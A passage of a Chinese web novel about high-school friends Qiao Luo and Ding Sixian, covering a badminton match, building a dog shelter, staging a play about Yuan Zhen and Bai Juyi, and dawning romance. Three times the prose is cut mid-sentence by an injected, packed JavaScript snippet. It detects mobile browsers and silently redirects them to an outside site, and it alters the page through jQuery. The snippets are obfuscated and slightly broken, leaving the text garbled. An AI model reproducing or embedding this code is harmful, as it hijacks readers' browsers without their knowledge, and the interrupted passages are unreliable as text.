乔洛走到丁似霰身后,多少有些生无可恋,“兄弟,要不你来打后场呢?” 他好像很有信心的样子,“没事,你打得挺好,下把咱就赢了。” “那还有下一局呢。” “放心,小意思。” 在丁似霰三球就拿下比赛后,乔洛才意识到——他真能一打二,为了让对面和乔洛有点参与感,才一直没动真格。 一局结束,丁似霰雀跃着跑过来和乔洛击了一掌,“看吧,随便打,光哥给你兜底。” “谢谢光哥,那我可就放飞自我了。” 下一局乔洛显然松弛了不少,笑嘻嘻打出了好几球翻网的球。 有人兜底的感觉真好! 比分来到了20:19,丁似霰凑过来小声问道,“还想打吗?” 乔洛摇了摇头,“结束吧,我想吃饭去,饿了。” “收到,保证完成任务!” 有实力就是嚣张啊,丁小光四球就杀死了比赛,甚至没有用乔洛动手。 两个人收拾好东西,去到一号场地旁边的时候,杨可期和许志正在进行他们的第三局比赛。 “杨可期加油!” “许志加油!” 看热闹永远不嫌事大,乔洛和丁似霰在一旁呐喊助威。 21:14 比赛结束,杨可期和许志大获全胜。 “走啦走啦吃饭去!”乔洛把包丢给丁似霰,挎着杨可期,脚步非常欢快。 这辈子第一次羽毛球比赛,胜利! 至于两个学校的大比分?这四个人里没有一个在乎的……主要是在乎也没有用,这种东西不是他们能做主的。 倒不如思考一下…… 火锅烤肉小烧烤,盒饭面条洋人餐,要吃哪一个? 39. 未来 吃草莓,吃糖葫芦,滑冰车,包饺子,放鞭炮…… 寒假匆匆而过。 果然,二月二十九日,四年一遇的稀罕日子,学生们又是在学校度过的。 四月多了一个假期,清明节。 但孩子们说什么也笑不出来——因为五一只剩下三天。 是这样,2008年起,五一黄金周退出历史舞台了。少食多餐和一顿撑死之间,至少乔洛还是更想选后者,但很显然,她喜欢什么改变不了任何事情。 不过有了清明假期也好,乔洛还回了一趟老家去给姥爷上坟。 乔家有那种破毛病,不让女孩去上坟,说是以后终究要嫁出去,所以不算自己家人。 “哼,我还不稀罕去呢!”七岁的乔洛对于这套言论就已经嗤之以鼻了。 无所谓,乔洛对于以后给乔连富和乔连富的母亲上坟这件事情毫无欲望,尤其是乔连富的那个好妈妈。况且后来他们有乔耀了,多光宗耀祖的事情啊,以后祖坟都年年有人插香了。 杨可期两边都会去,她都跟母性了,家里自然也是新时代先进观念领导者。 从家庭层面来说,乔洛一直都蛮羡慕杨可期的。她有通情达理的妈妈,豁达开朗的爸爸,慈祥和蔼的姥姥和太姥,还有幸福又和睦的家庭环境。 都很令人向往。 新柳每年春天都会刮很大的风,大人们形容春天“新柳县有王八坑,不是下雨就是刮风”。 乔洛问云锦书为什么是王八坑,云锦书却说她也不清楚。 每次上过间操后回班级,桌子上都会有一层沙子,脸上也是,湿巾用了一包又一包。 后山的狗窝不知道是哪年也不知道是谁建的,就是一个小塑料房子。 可能是今年的风太大,也可能是年久失修的老狗窝终于支撑不住了,四月中下旬的时候,它被掀翻了盖子。 五一假期的第一天早上,丁似霰收到了乔洛的短信。 ——嘟嘟嘟,出来干活有没有兴趣? ——好呀!去哪? 丁似霰甚至都没有问是什么活,一秒都没犹豫就答应了。 ——十点,来学校操场这边翻墙进去,搭狗窝。 ——收到! 许是天公作美,最近天气都很晴朗,没怎么下雨。上午十点的时候,太阳高照,暖洋洋的。 丁似霰早早就等在了操场后面的墙头外。他原还在想乔洛要用什么搭狗窝,等到看见乔洛只拎了一桶水的时候,不由吃了一惊。 “咱俩,用什么干活?”丁似霰先翻了过去,然后从栅栏把水拿进来,在墙里面等着接乔洛。 不过小姑娘根本不用他接,甚至身手更加灵活,“前段时间体育馆后边那片在装修你知道吧?我花钱弄了点砖头和水泥,让师傅帮我直接放在后山了。” “那这个,是用来拌水泥的?”他举起手里的水,有些难以置信。 “嗯……也可以喝,确实我就是在卖店随便买了一桶。” 矿泉水拌水泥,天才。 真的走到了后山,丁似霰却有些迷茫——他不知道该做些什么。 这里真的有很多砖块,一桶还没有开封水泥,以及两个铲刀?果然只要花了钱,什么都不是问题,工人师傅竟然还贴心地送了工具。 “怎么可能是送的啊,我买的,他们用过了的,还收了我五块钱呢。”乔洛戳破了丁似霰的美好幻想泡泡。 “先把这个遗迹拆了,然后扔掉,”她从口袋里掏出一个折得四四方方的白纸递给丁似霰,“来欣赏一下,我准备按照这个搭一个新的。” 纸上是一个“狗窝建造图”,倒并不复杂,就是先在地面上铺上一层砖作为地基,防止狗窝进水,然后在上面建一个四四方方的斜刘海平头哥。 按照这纸上面画的,封顶的地方大概还需要一个大片铁丝网和一张大一些的毛巾。 “你自己画的?”比起到底能不能建成,丁似霰更震惊于乔洛自己画了这个图纸。 而且他感觉,只要乔洛提出来了,只要她感兴趣,就没有什么是她做不成的,所以丁似霰相信今天狗狗必得新窝。 “对呀,”乔洛又从口袋里拿了两副手套出来,递了一副给丁似霰,“不过吧,铁丝网我没弄到,也不重要,这个砖块够长。然后窝里面有一个毯子,已经有点破烂了,沾了水泥放顶上正好。 那有两个大片的砖板,毛毯就放在板最上面,垂下来就当房檐了,还能给窗户挡挡风,下雨的话也能排水。 然后门洞一会就用拆下来的塑料板子垫一下,再用水泥把边缘抹上。” “牛!”丁似霰干活积极性极高,带上手套就对这个破旧的塑料壳子下手了。 没顶塑料房子不难拆,或者说也不需要怎么拆,搬走扔掉再把地面稍微清理一下就可以了。 乔洛已经拌好了水泥,这熟练程度真不像是第一次做。 她抬头就看到了丁似霰震惊地目光,“你小时候没玩过泥巴?” “那倒是……肯定玩过。” 丁似霰用红砖在地面上照着砖板的大小大致画出了范围,然后和乔洛一起打着地基。 “我小时候还做过泥巴城堡呢,就是没看护好,第二天就被前院那些小混蛋给踢碎了,”乔洛一边抹着水泥一边说道,“等我回去翻翻家里相册,我妈好像帮我照下来过,可好看了。” “你小时候就这么厉害!” “天赋,”乔洛一脸得意地扬着头,“你看过我画画的本子吧,那上面不少都是我随便画的东西,但我感觉都不错。” 丁似霰很赞同地点了点头。确实是这样,乔洛的画本上有不少建筑物,写实的和幻想的都有,至少在外行人看起来都很好看。 “记得高一的时候,你说想去学建筑来着,现在还是吗?”丁似霰问道。 这学期刚开学就有老师在说,他们可以考虑一下想去哪个大学想学什么专业了,就当是给自己定一个努力的目标。 “嗯,按照我这个分数段的话,大概可以冲一波谭棠大学的建筑学,如果幸运的话甚至可以试试更好的学校,到时候看看吧,”乔洛使了些力气,把一块红砖劈成两半,“说起来谭棠离南菀好像挺近的,我还没去过南方呢,听说这个时候就已经挺热了,感觉也挺恐怖。” “我倒是没在五月份回去过,但确实夏天特别热,而且虫子超级多,咬一口能肿一大片。”丁似霰学着乔洛的样子劈红砖,倒也上手十分迅速。 “咦……那我再考虑考虑吧,实在不行奉州建筑大学我绝对一点问题都出不了,肯定能考上。” “哈哈哈,有时间去玩一圈呗,确实谭棠大学要更好一些。” “再说吧,”乔洛眯着眼,仔细看着砖块有没有摆歪,“你呢?有啥想学的吗?” 丁似霰思考了一下,“暂时没有。” “反正也不着急,哪有那么多人清楚地知道自己要做什么,我也只是感兴趣,未必会真的去学。 不过可期倒是很明确,她一直说要去学中医,全国中医学校也没有多少,南菀中医药大学她还真的说过可能到时候会报。” “南菀中医药大学可大了,我之前进去遛过弯,感觉得有咱学校三四个这么大,然后路过那个中药馆的时候就有一股子贼浓郁的各种药材混合起来的味道,学校里还有不少石像,华佗张仲景神农李时珍,每个下面都有点花和零嘴什么的。” “这是干什么?考试之前做法?” “大概是吧,医学生哪有不疯的,”丁似霰笑道,“说不定两年后的现在,杨可期已经在拜华佗了。” 两年后? 乔洛突然意识到,高中生活已经过半了。平日里只说着还有多久高考,竟忘了高考也是分别。 她突然停下了手里的动作,抬起头看着丁似霰,“毕业之后我还会见到你吗?” ? 丁似霰前几天还在憧憬毕业,然后和乔洛表白,更加光明正大在她身边。 她竟然问还会见面吗? 他回答得斩钉截铁,“会啊!你要是去谭棠大学我就也试一试,考不上的话第二志愿就填南菀的学校,南菀理工分会低一些,但也不错的。” 乔洛不置可否,“嗯”了一声,又继续干起活。 未来太远,她从不认为,为某个人去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908931|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考某个大学是一件很明智的事情。人的情感也太易变,或许今天还是满心欢喜看着你的人,明天就目光冰冷,视你如累赘。 丁似霰好像看透了乔洛的想法,“反正会见面的,读大学又不是落户,以后去哪里定居都可以努力的嘛。” “我想回奉州,出去看看转一转,然后就回来,在熟悉的地方有个工作,搞一套小楼,和我妈蜗居,挺好的。” “我也喜欢奉州,回新柳也可以,小了点但是干什么都方便。” 狗窝并不大,他们聊天间已经搭好了四周的墙,留出门窗,只差封顶了。 “三二一,起!” 其实乔洛自己就能搬起来那俩块大的砖板,丁似霰当然更能。不知道为什么就是想两个人一起抬,奇怪。 最后剩了一些水泥,乔洛又耐心地把不太漂亮的砖缝补了一下。 “完美!” 两个人摘下手套,来了一个胜利击掌。 洛师傅和丁师傅的第一个工程,顺利告捷。 小花这时不知道从哪里跑了过来,欢腾地扑着乔洛的裤脚。它小爪子大概是刚在某个水坑里面扑腾过,在乔洛浅蓝色的牛仔裤上留下了许多凌乱的脚印。 “别别别,我这是新裤子!”乔洛慌乱地蹲下身,武力压制住撒欢的小狗。 然后她就看到了,臭白同样在丁似霰裤子上留下了更多的梅花印。 嚯,黑裤子,也是一样埋汰得好明显呢。 丁似霰也蹲了下来,轻轻揉着臭白的脖颈,“现在这个屋不能扑啊!水泥还没干,你俩要是一使劲弄塌了就该被砸死了。” “它俩好像还没什么拆家的倾向,那破塑料壳子一点咬过的痕迹都没有,”反正小花已经用乔洛的裤子把脚擦干了,她索性把小花抱在了怀里,“我们小花宝贝最乖了,肯定不拆家对不对?” 话虽这么说,他们俩还是等了一个小时,感觉确实砖块很难松动才又原路返回翻墙出了学校。 按照惯例,五一放假之后高三就不会再去跑操了,但是大课间的时候教学楼二楼的那条开放式阳台总会有学长学姐站在上面。 乔洛远远看看阳台,颇有些疑惑,“这是看什么呢,怎么总感觉阳台上站着的人都喜笑颜开的,而且一天换一批。” “可能吧,明年咱们站在那的时候就知道他们在开心什么了。”丁似霰站在乔洛侧面,挡住了有些刺眼的阳光。 最近天气有些反常,刚刚五月下旬,竟然马上要到三十度了,热得很,每次跑操结束后回班级都要扇上好久的风才能过了这股子热劲。 还好,等高考放假回来,就要变成大课间了。 还好,还有两天就要下雨了,下雨就会降温了! 等高考放假回来,也要开始艺术节报名了。 晚饭时,乔洛睡过了,并没有听到下课的铃声。 她立着脑袋,趴在校服外套叠成的抱枕里,脸上的肉被衣服挤得有些堆了起来,嘴也有些撅起来,看着甚是可爱。 丁似霰坐在乔洛身旁的地面上,拿扇子轻轻扇着风。 过了一会,女孩的睫毛轻轻颤了几下,然后迷茫地睁开了眼。 她看到丁似霰之后便猛的抬起头,又看了一下教室前面的挂钟。 “我去!我没听到下课铃???” 杨可期从一旁伸出手,拍了拍乔洛的肩膀,“确实,你睡得跟死猪一样。” 乔洛站起身,把椅子挪开了一些,示意丁似霰坐过来,然后她自己清理了一下桌子……坐在了桌子上。 乔洛总喜欢这样,一是丁似霰过来不好坐别人的位置,让他坐地下也怪凉的,更重要的,是乔洛喜欢坐在桌子、窗台等比较高的东西上面。 “果然啊,脑细胞消耗过度是会困,特别是学文言文的时候。”乔洛不由感叹。 “你在学文言文?”这个事情让丁似霰多少有些吃惊,没记错的话早在半年前乔洛就有些放弃文言文了,因为努力基本无效,那部分的得分还是纯靠运气。 乔洛从书堆里面抽出了一个本子,翻开递给丁似霰,“不是正经事,有一个小计划,我俩想写个剧本出来。” 40. 元白 老丁头zen 丁似霰一眼就看到了“元白”两个大字。 “‘君埋泉下泥销骨,我寄人间雪满头’那两位?”本子上只写了一些时间线,丁似霰很快就看完了,“这可是个大本子,不好写吧?” 杨可期道,“是啊,准备每个阶段都查查诗,然后略微加工一下搞个剧本,主要是这样的话比较容易过审。” “那得多少人参演?而且这种本子是不是多数都得找男生了?” “嗯……确实,”乔洛把本子向前翻了一页,“其实我俩还想过上官婉儿和太平公主的故事,但确实相比于反复被贬来说,朝堂争斗太难了,写剧本有点超能力范围。” “而且那个用到的道具会更多更贵,这个也是问题之一。”杨可期补充着。 “那个,我报名!”丁似霰举起了手,“无论你俩准备写哪个我都报名参加!” “大概率元白吧,好写一点。”乔洛还是觉得不要给自己找太难的活,她不是那种勇于挑战的人。 “那你俩会参演吗?” “我估计就是如果缺npc的话我就顶一下,然后洛洛配天音旁白,主角准备青年组和中年组找两对,因为主要就这两个年龄段写两个场景,剩下的准备就是古诗和旁白掺着过走马灯。” “为什么不能反串呢?”乔洛小脑袋瓜一转,想到了新法子,“姜亦瑶应该会同意来参加,你和她演青年组,让丁似霰和许志演中年组,再随便找几个NPC不就成了?” “我看可以!”丁似霰举双手赞成,“但为啥没有老年组?” “元稹就活到了五十三,老年组是什么游魂出演吗?”好地狱的笑话,但乔洛还是忍不住有些想笑,因为她想到了丁似霰和许志披个斗篷在台上走鬼步。 “啊,打扰了……” “你要不弹个古琴助助兴呢?”丁似霰又问道。 “琵琶行里边是琵琶女,哪来的古琴女助兴?而且我那三脚猫的功夫也就忽悠忽悠你,真上台就成丢脸了。”乔洛并不认为她的古琴水平可以公开让人欣赏。 “没事,基本都和我一样啥也听不懂就听个响,试试呗?” “这个我是同意丁似霰的说法的啊,把你那个古琴搬过来,咱这个节目瞬间档次就上去了!”杨可期也很认同丁似霰的提议。 乔洛思考了一下,还是没有完全被说动,“再议,先把剧本写出来再说吧。” 剧本创作的主力军还是杨可期,乔洛早在高一的时候就封杨可期为“理科班的文科之光”,杨可期的语文英语成绩哪怕是在这个尖子班也是名列前茅。 于是乔洛梳理时间线,两个人一起去图书馆找诗,然后杨可期丰富剧本内容。 姜亦瑶十分雀跃地应下了这份参演邀请,许志当然也不会拒绝,乔洛又一次众人的怂恿之下决定突破自己做个尝试,把古琴搬去台上。选曲就很简单了,像这个时候就应该搬出万能不出错的《高山流水》。 亮个相吧小宝贝! 短短两天,剧本的雏形就已经写了出来。 青年期只详细写了“同科及第”、“梁州一梦”,“杭州酒席相逢”三件事,其余皆由天音走马灯般带过,“诗筒传韵”由青年传至中年,虽实际只有两年时间,但想来这个过度最为合适。 中年期则是共游香山寺以及元稹暴病而亡,白居易撰写《祭元徽之文》,以及数年后白居易梦中与元稹同游,醒来作《梦徽之》,却再无人合。 全剧,以中年白居易怅然若失读出“君埋泉下泥销骨,我寄人间雪满头”落幕。 这几天光是去图书馆翻找诗集就花了不少时间,乔洛看着写好的剧本,成就感满满的同时,还有一些说不清的情感。 她不太清楚那是什么感觉,不过在一天又一天繁忙且充实的日子里,她似乎也没有再纠结这种感觉。 广播站又要选主持人了,还好今年报名比较踊跃,甚至还得有个小型的竞争赛,女生有五个报名的,男生三个。 乔洛和姜亦瑶在准备让这几个人找个时间浅浅“争夺”一下的时候不禁感叹:天老爷诶,这届孩子好积极! 主持人竞选结束之后,姜亦瑶站起身,看着窗外伸了个懒腰,“唉,也是把自己熬成老东西了,还有不到半个月咱就是这个院里面最大的了。” 乔洛还坐在椅子上,微微后仰,椅背搭在墙上,“没有哦,我可不是老东西,八月末军训的高一说不定还有比我大的。” “好,那你是小东西,”姜亦瑶回过头,“我艺术节之后就要去集训了,可能吧,以后都不大能见面了。” “集训?你决定走艺考了?”乔洛微微前倾,让椅子回归原位,更稳定地落在地面上。 “可能有的人就不适合学习,我初中很努力才考上新材,还是个自费生。后来选了文,成绩也一直不好,”姜亦瑶似乎已经接受了这个事实,“其实寒假的时候我以前的主持老师就和我爸妈建议过,我可以走艺考试试,毕竟如果走艺术路线,那我这个分数还是足够高考的。” “可以呀,你这么好看,功底也还算不错吧,试一试,总归多条路可走嘛!” 乔洛对于姜亦瑶这个决定倒是并不意外,毕竟不是所有人都要把高考分数考到五六百才算成功人生的,每个人都有自己适合的路,有勇气闯下去,就已经成功了大半。 “是啊,所以我要逐梦艺术圈了!” 乔洛把稿子卷成筒,伸出手去和姜亦瑶手里的杯子轻轻碰了一下,“那就祝,早日可以在电视上看到我们姜大美女!” 姜亦瑶微微举杯,“Cheers.” 六月初,《寄梦萦》初审顺利通过。 大概是因为比较有名的梁州一梦和白居易最终无人应和的忆梦之作,乔洛总是感觉这两个人之间,“梦”是一个很特殊的存在,所以取了这个名字。 因为乔洛准备一直在台上弹古琴了,所以旁白自然是要另寻他人或者提前录制。 他们选择提前录制。 不过这也就是说,乔洛不用背台词。他们需要自己做背景视频,然后配好音乐,旁白也就在音乐里一起录制就可以。 于是乎,乔洛每次看到另外四个人在背古诗的时候就十分幸灾乐祸。 当然她也好不到哪里去,《高山》的谱子……很长。这曲子乔洛从前只练过三分之一左右,还已经是两年以前的事情了,所以如今和从头再来也没什么区别。 乔洛把古琴带去了学校,反正这件排练教室只有他们五个有钥匙,琴放在这里也很安全。 他们背词,乔洛背谱;他们排练,乔洛配乐。听得多了,那些诗乔洛倒是也多多少少记住了很多。 看多了古人传信的不便,突然很感谢手机的发明。 丁似霰第一次看到古琴谱时,和多数人一样十分震惊。 “这都……怎么读?”丁似霰皱着眉企图理解减字谱,但很显然,他必定会失败。 乔洛站起身,把座位空出来,做了一个“请”的手势,对丁似霰说道,“sitdownplease!” “啊?让我碰你的琴?”他有些难以置信。 “我这琴是木头做的,不是含羞草搭的,没事,放心大胆的碰。” 丁似霰坐下后,乔洛指着减字谱说道,“其实很简单啊,左上角是左手哪根指头,右上角表示徽位,下面的数字是代表哪根弦,这个奇怪的框是右手指法。然后草字头就是左手啥也不用干,右手弹就可以,这俩东西代表泛音的起始和终止。” 乔洛翻开了另一张没有写曲名的谱子,给丁似霰示范了几个音。 “你试试?” 乔洛站在丁似霰身后,像电视剧里那样虚握着他的手,带着他把琴弦弹出音。 怪不得电视剧里总喜欢这样教人弹琴,真好玩哈哈哈哈哈哈哈哈。就是乔洛环不住丁似霰,需要两边来回走,但她也乐在其中。 乔洛只教了丁似霰四节谱子,其实只有两句话。 丁似霰不太流畅地独立弹下一次后,才想起来问乔洛,“这是什么曲子?” “你猜啊?”乔洛笑得很是开心。 “……太难了,我听过吗?” “词肯定听过,调子大概率没听过。” “那,这我猜不到。”丁似霰直接放弃尝试。 乔洛乐呵呵把谱子翻到了前一页,那页带着曲名和简谱对应的词。 《凤求凰》:有美人兮,见之不忘,一日不见兮,思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908932|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之如狂。 今年学校准备装修教室,要换一批新桌椅,然后把已经因为渗雨而泡坏了的墙体重新刮一层大白——总之,今年出奇的高一高二一起放假,艺术节开完就放假。 只是高三会开学更早一些,但那不重要,及时行乐才是人生真谛。学校这一决定让整个艺术节充满了更多的欢声笑语。 《寄梦萦》排在第五个节目,因为舞台剧还是要天亮的时候观感更好一些,至于黑了天,更适合一些酷炫的灯光效果。 乔洛把多数的活都交给了下一届的预备部长,那句话叫什么来着? “懒爸妈才有勤快儿”,上一届广播站的领导们太勤快了,所以乔洛和姜亦瑶摆烂得很,也因此,下一届就又该勤快了。 还真是人生代代无穷已。 况且下届的这小丫头抢着干活,乔洛自然要多多成全。 化妆间,乔洛拿着化妆品对着丁似霰的脸发愁。 从去年她的拼接妆容开始,乔洛已经学着化妆了,或许是有拿笔的功底在,她手很稳,画得也还可以。只是她懒,并且一直上学也没什么机会化妆。 乔洛有些纠结地不知从何下笔,“要不贴个胡子就得了,反正台下也看不清脸。” 老年装真的很难画。 姜亦瑶倒是很认可,“可以啊,就咱们三个的技术,可能画出来的不是老年妆,是挖煤妆。” “你不会要把我弄成熊猫眼吧?”许志面对杨可期手里的化妆刷多少有些望而生畏。 去年许志就被他班同学画得一塌糊涂,最后只好去洗了把脸直接穿上长褂就上台了。 “想多了,五十三你就一命呜呼了,还不至于需要画熊猫眼。”杨可期就随意地给许志填了几笔眉毛,然后拿着买来的假胡子在他脸上对比着,“贴哪款能更丑一点呢?” “都不会!”许志抗议得十分果断。 客观来讲,许志长得确实没有丁似霰俊俏,但也是个很不错的小伙子,确实是贴哪款都不会太难看。 “你想贴哪个?”乔洛问丁似霰。 丁似霰纠结了一下,然后选了一个长款的胡子,“这个,看起来儒雅一点。” “嘶,那你一会是不是还应该弯点腰,六十岁小老头应该多少有点缩水了吧?” “不不不,你看公园在单杠上转圈的老大爷,哪有缩水的?” “但你似乎只会引体向上,转不起来圈吧?” “你等我岁数大了的,我就开通这项技能了!” 丁似霰说这话的时候,嘴巴都没有怎么动——因为乔洛在给他贴胡子。 “好了小老头,你已经成功变身了!”乔洛拿来镜子,让丁似霰看了看他加了胡子后的模样:“看来岁数大了之后也能是个帅老头。” “等我老了你得继续这么夸啊,老丁头zen(一声)zun(四声)呐!” 乔洛咂咂嘴,不置可否的说了一句:“再说吧,谁知道老了之后能不能见到。” “当然能的,要不赌一波?” “不赌。” 乔洛绕到丁似霰身后,开始处理他的头发。无非就是把头发拢起来,然后扣上帽子,就算伪装成功了。只不过许志头发很短,直接扣帽子就行,但丁似霰……他头发还没长到能扎起来的地步,但也确实直接用帽子藏不住。 乔洛只好用小皮筋接力,把他的头发全拢了起来。 杨可期和姜亦瑶就是把头发扎了一个高高的啾啾,然后用簪子做装饰。 至于“古琴女”,造型也十分简单。乔洛本想半扎发,看起来会更漂亮些。奈何天气太热了,她直接把头发全用簪子挽了起来。 在丁似霰说出那句“君埋泉下泥销骨,我寄人间雪满头”的时候,乔洛突然明白了她之前没有弄清的感受。 短短几页纸,竟道尽了两个人一辈子的悲欢离合,大概这只是一种惆怅。一生聚少离多的两个友人,竟然真的几乎都是以写诗和书信的方式,同行了三十年。 艺术节第二天,新材高中的贴吧里有一张热度超高的“神图”: 女孩垂眸,一手拿着湿巾,一手小心地撕着男孩脸上的胡子;男孩弯腰,扬着头,目光几乎是黏在了女孩身上。 41. 动心 男孩眼中,是昏暗的光线和低劣的像素都模糊不掉的爱意。 乔洛有一瞬间愣住了,丁似霰的目光过于炙热。她忽然很想,一直,一直,都能这样看着他。 不知道是谁拍下的,把画面定格在了乔洛愣住的那一瞬,然后发在了贴吧里。 暑假,乔洛又和杨可期混在了一起。当然,她们首要任务是在刷帖子看评论。 “晕了晕了,他俩好配!!!” “这女孩弹古琴的时候贼优雅,小丁子你凭什么这么有福气!” “我就说学长怎么能把我们校花拒了呢,原来是心有所属了!” “不要啊,这么帅的学长不要这么早就名草有主了啊!” “好像这两个都是尖子班的,还是双强组合!” “妈妈你看,好学生也早恋,我谈不到校园恋爱难道是因为我成绩不够好吗呜呜呜呜……” “我也可以贴胡子,学姐能不能来撕我?” …… 乔洛翻看这些评论的时候,一直用嘴唇抿着手指,就算是这样,也压不住嘴角的笑意。 杨可期手动遮挡了乔洛的视线,迫使乔洛把目光移到她的身上。 “小洛洛你不对劲,看自己的绯闻至于这么开心?” 乔洛更加不隐藏自己的笑意,两手搭在杨可期肩上,“我发现了个事情。” “嗯?” “我大概,是喜欢丁似霰的。” 杨可期仅仅愣住了不到两秒,就双手夹住乔洛的脸蛋,用有一些做作的声音道,“哇!你终于意识到啦!我们洛洛开窍了呢!你怎么发现的呀?” “就,挺想见到他的,然后看到他就很高兴。 不过主要是因为梦到过他几次,虽然我记不清梦里发生了啥,反正,嗯……哎呀我也说不清,但是就感觉,挺喜欢和他在一起的。” 还有一点,乔洛并没有说,在那次丁似霰被豆奶送进医院的时候,她其实就有意识到。乔洛并不喜欢多管闲事,也没有那么好心,从身体到精神上照顾普通同学,更不可能随随便便让一个男的靠在怀里那么久。 乔洛回家后才意识到那一晚上她都做了些什么,她好几次看着自己的手,仿佛又想起了握着丁似霰的那种触感。 那手很大,她包不住。 凉丝丝的,她却很想把他捂得暖一些。 “唉,我们家洛洛终于长大了呀!”杨可期佯装惆怅:“留不住咯~” “嘿嘿,而且我确定,他也喜欢我。” “嗯,那是,傻子都能看出来,他从高一开始就惦记你了。” “你这么说就好像我还不如傻子……” “哈哈哈哈哈哈哈哈,”杨可期在乔洛的床上随意躺着,笑成一团,“没有没有,你是小朋友而已。” “但你看咱班分了的那两对,天天尴尬死了,我还是感觉得等毕业了再说。”乔洛对于班上分手的两对情侣的现状有些望而生畏。 “嗯……那就看你想及时行乐还是稳妥一点了,”杨可期突然感觉乔洛的话有些不对劲,“不对啊,他又没和你表白,你考虑这些干什么?” “我为啥要等他表白,这事难道不是我想就随时成的吗?” 杨可期对着乔洛比了一个大拇指,“果然啊,我们洛洛是女侠风范。” 这个暑假真的很破天荒,足足有三周时间。不过去年暑假结束之后乔洛就把彩绘膏卖掉了,她也没打算继续做这个。况且三周也不是很长时间,在家躺一躺就过去了 暑假的第二天一早,乔洛就被吵醒了。 但她特别开心,因为噪音来源是工人师傅来装空调。 于是乎,在丁似霰和空调的两端诱惑之下,乔洛果断选择了在家舒舒服服吹空调。 但是在空调和杨可期之间,乔洛选择了杨可期。 杨可期同学由于看了一本有关“海城霸总”的小说,于是提议要去海城玩一圈。 在电脑上查好天气预报,乔洛就打通了丁似霰的电话,“你和许志在一起吗?去不去海城?我和可期想下周三过去,目前看来是个阴天,应该没那么热。” “我俩在一块,去呗,一会我去火车站看看还有没有票,没票的话你就只能忍一忍坐客车了,”丁似霰对于乔洛这个不知道从哪里蹦出来的想法有些吃惊,“怎么想起来去海城玩?” 杨可期叉掉了电脑上的小说页面,挤在乔洛身旁,“我要站在霸总们经常屹立的海城大酒店看一看海城繁华的十字路口,看看对面到底是哪个馅饼店。” 许志在一旁绘声绘色,“然后酒店服务员看到女主热情地问一句‘丫蛋儿,吃馅饼不?’” “我要吃牛庄馅饼!”乔洛满眼只有对美食的渴望,“还有三里桥的烧烤,南果梨也不错,但那玩意还得啃皮太费劲了,而且现在还没下来,可惜。” 高中时代的最后一个暑假在欢声笑语中匆匆而过。 高三,如期而至。 开学时却可算是天翻地覆。 为迎接高三的新生活,新材高中决定抽出一个火箭班。所谓火箭班其实就是尖子中的尖子班。 抽调全校最好的老师给这两个班级的学生上课,按照排名排座位,单人单桌。理科总榜前三十名和文科总榜前二十名各一个班,也就是说每考一次试就会有一次人员变动。 听起来不算个坏事,但还有其他要求。 比别的班级早到半个小时,晚放学半个小时;强制要求住校,并且午饭时间也不可出校;最让乔洛不可接受的还是强制加入这个事情,也就是说成绩符合要求必须进入火箭班直到下次考试。 很不幸,高二下学期两次期末考试的折合统计成绩,乔洛理科总榜二十九名,丁似霰三十名。 这个火箭班从八月十八,也就是开学第一天开始就要步入正轨了,九月中下旬月考进行第一次人员流动。 也就是说,乔洛即将被关进新材高中整整一个月。 “我现在就像是,被雷劈了,你懂吗?”乔洛听着石忠宣布有关火箭班的事情,满脸生无可恋地趴在杨可期身上。 “也不一定是坏事嘛,丁似霰可做你后桌哦!”杨可期虽然也感觉这个新规定很不合理,但是事已至此,不看热闹还是很亏的 “区区男人......我是想回家!啥时候月考啊我的天,能不能明天就考试?”乔洛从来没有如此期待过考试。 “小洛洛,你多幸运,第一次进前三十就遇上这事了。” 提起来乔洛考进前三十的事情,还要从高二下学期第三次月考说起。 六月中旬,第三次月考。 杨可期基本稳定在了六十名上下,她也接受了自己确实很难继续前进这个事实,按照往年的分数线来说,这个名次准保能考上奉州中医药大学,说不定还可以冲一冲南菀的中医药。 丁似霰这小子倒是不错,考到了三十五名。从这学期开始,他似乎就一直在四十以内了。 许志依旧在八十到一百徘徊,按他自己的说法,去年选择留在七班确实是个正确的决定。 乔洛却罕见地排到了八十名开外,虽然也只是八十三名。 因为数学九十三分,语文七十九分。 分数下来之后乔洛就被沈老师叫去了数学办公室。 不过说来也是乔洛倒霉,高三下来了一个姓张的数学老师,那人判卷有自己的一套理论。他说平日里判得严一些,高考的时候就更有优势。 被他判到的人真的有福了。 乔洛看着自己因为二面角最后一步算错数而整道立体几何都零蛋的卷面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908933|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的很想当面和他说一句:我谢谢您。 至少第一问的平行证明是对的啊! 乔洛站在数学办公室门口有些踌躇,一想到一会要挨骂就很想直接顺窗户跳出去。 她还是深吸一口气,然后敲门。听到一声“进”后,乔洛推了推门。 